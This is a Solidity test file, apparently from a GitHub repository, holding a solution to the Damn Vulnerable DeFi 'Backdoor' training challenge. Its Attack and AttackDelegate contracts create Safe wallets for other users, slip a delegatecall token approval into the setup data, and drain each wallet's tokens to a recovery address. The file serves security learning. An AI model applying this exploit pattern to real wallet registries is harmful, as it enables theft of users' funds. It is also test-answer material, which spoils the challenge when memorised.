-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathBackdoor.t.sol
171 lines (143 loc) · 6.2 KB
/
Backdoor.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {Safe} from "@safe-global/safe-smart-account/contracts/Safe.sol";
import {SafeProxyFactory} from "@safe-global/safe-smart-account/contracts/proxies/SafeProxyFactory.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {WalletRegistry} from "../../src/backdoor/WalletRegistry.sol";
import "safe-smart-account/contracts/proxies/IProxyCreationCallback.sol";
contract BackdoorChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");
address[] users = [makeAddr("alice"), makeAddr("bob"), makeAddr("charlie"), makeAddr("david")];
uint256 constant AMOUNT_TOKENS_DISTRIBUTED = 40e18;
DamnValuableToken token;
Safe singletonCopy;
SafeProxyFactory walletFactory;
WalletRegistry walletRegistry;
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
// Deploy Safe copy and factory
singletonCopy = new Safe();
walletFactory = new SafeProxyFactory();
// Deploy reward token
token = new DamnValuableToken();
// Deploy the registry
walletRegistry = new WalletRegistry(address(singletonCopy), address(walletFactory), address(token), users);
// Transfer tokens to be distributed to the registry
token.transfer(address(walletRegistry), AMOUNT_TOKENS_DISTRIBUTED);
vm.stopPrank();
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public {
assertEq(walletRegistry.owner(), deployer);
assertEq(token.balanceOf(address(walletRegistry)), AMOUNT_TOKENS_DISTRIBUTED);
for (uint256 i = 0; i < users.length; i++) {
// Users are registered as beneficiaries
assertTrue(walletRegistry.beneficiaries(users[i]));
// User cannot add beneficiaries
vm.expectRevert(0x82b42900); // `Unauthorized()`
vm.prank(users[i]);
walletRegistry.addBeneficiary(users[i]);
}
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_backdoor() public checkSolvedByPlayer {
new Attack(
address(singletonCopy),
address(walletFactory),
address(walletRegistry),
address(token),
recovery,
users
);
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Player must have executed a single transaction
assertEq(vm.getNonce(player), 1, "Player executed more than one tx");
for (uint256 i = 0; i < users.length; i++) {
address wallet = walletRegistry.wallets(users[i]);
// User must have registered a wallet
assertTrue(wallet != address(0), "User didn't register a wallet");
// User is no longer registered as a beneficiary
assertFalse(walletRegistry.beneficiaries(users[i]));
}
// Recovery account must own all tokens
assertEq(token.balanceOf(recovery), AMOUNT_TOKENS_DISTRIBUTED);
}
}
contract Attack {
address private immutable singletonCopy;
address private immutable walletFactory;
address private immutable walletRegistry;
DamnValuableToken private immutable dvt;
address recovery;
constructor(
address _masterCopy,
address _walletFactory,
address _registry,
address _token,
address _recovery,
address[] memory _beneficiaries
) {
singletonCopy = _masterCopy;
walletFactory = _walletFactory;
walletRegistry = _registry;
dvt = DamnValuableToken(_token);
recovery = _recovery;
// A 2nd contract is used because of the restriction on player tx count
AttackDelegate attackDelegate = new AttackDelegate(dvt);
for (uint256 i = 0; i < 4; i++) {
address[] memory beneficiary = new address[](1);
beneficiary[0] = _beneficiaries[i];
// Create the GnosisSafe::setup() data that will be passed to the proxyCreated function in WalletRegistry
bytes memory _initializer = abi.encodeWithSelector(
Safe.setup.selector, // Selector for the setup() function call
beneficiary, // _owners = List of Safe owners
1, // _threshold = Number of required confirmations for a Safe transaction
address(attackDelegate), // to = Contract address for optional delegate call.
abi.encodeWithSignature("delegateApprove(address)", address(this)), // data = Data payload for optional delegate call
address(0), // fallbackHandler = Handler for fallback calls to this contract
0, // paymentToken = Token that should be used for the payment (0 is ETH)
0, // payment = Value that should be paid
0 // paymentReceiver = Adddress that should receive the payment (or 0 if tx.origin)
);
// Create new proxies on behalf of other users
SafeProxy _newProxy = SafeProxyFactory(walletFactory).createProxyWithCallback(
singletonCopy, // _singleton = Address of singleton contract
_initializer, // initializer = Payload for message call sent to new proxy contract
i, // saltNonce = Nonce that will be used to generate the salt to calculate the address of the new proxy contract
IProxyCreationCallback(walletRegistry) // callback = Cast walletRegistry to IProxyCreationCallback
);
// Transfer to attacker
dvt.transferFrom(address(_newProxy), recovery, 10 ether);
}
}
}
contract AttackDelegate {
DamnValuableToken private immutable dvt;
constructor(DamnValuableToken _dvt) {
dvt = _dvt;
}
function delegateApprove(address _spender) external {
dvt.approve(_spender, 10 ether);
}
}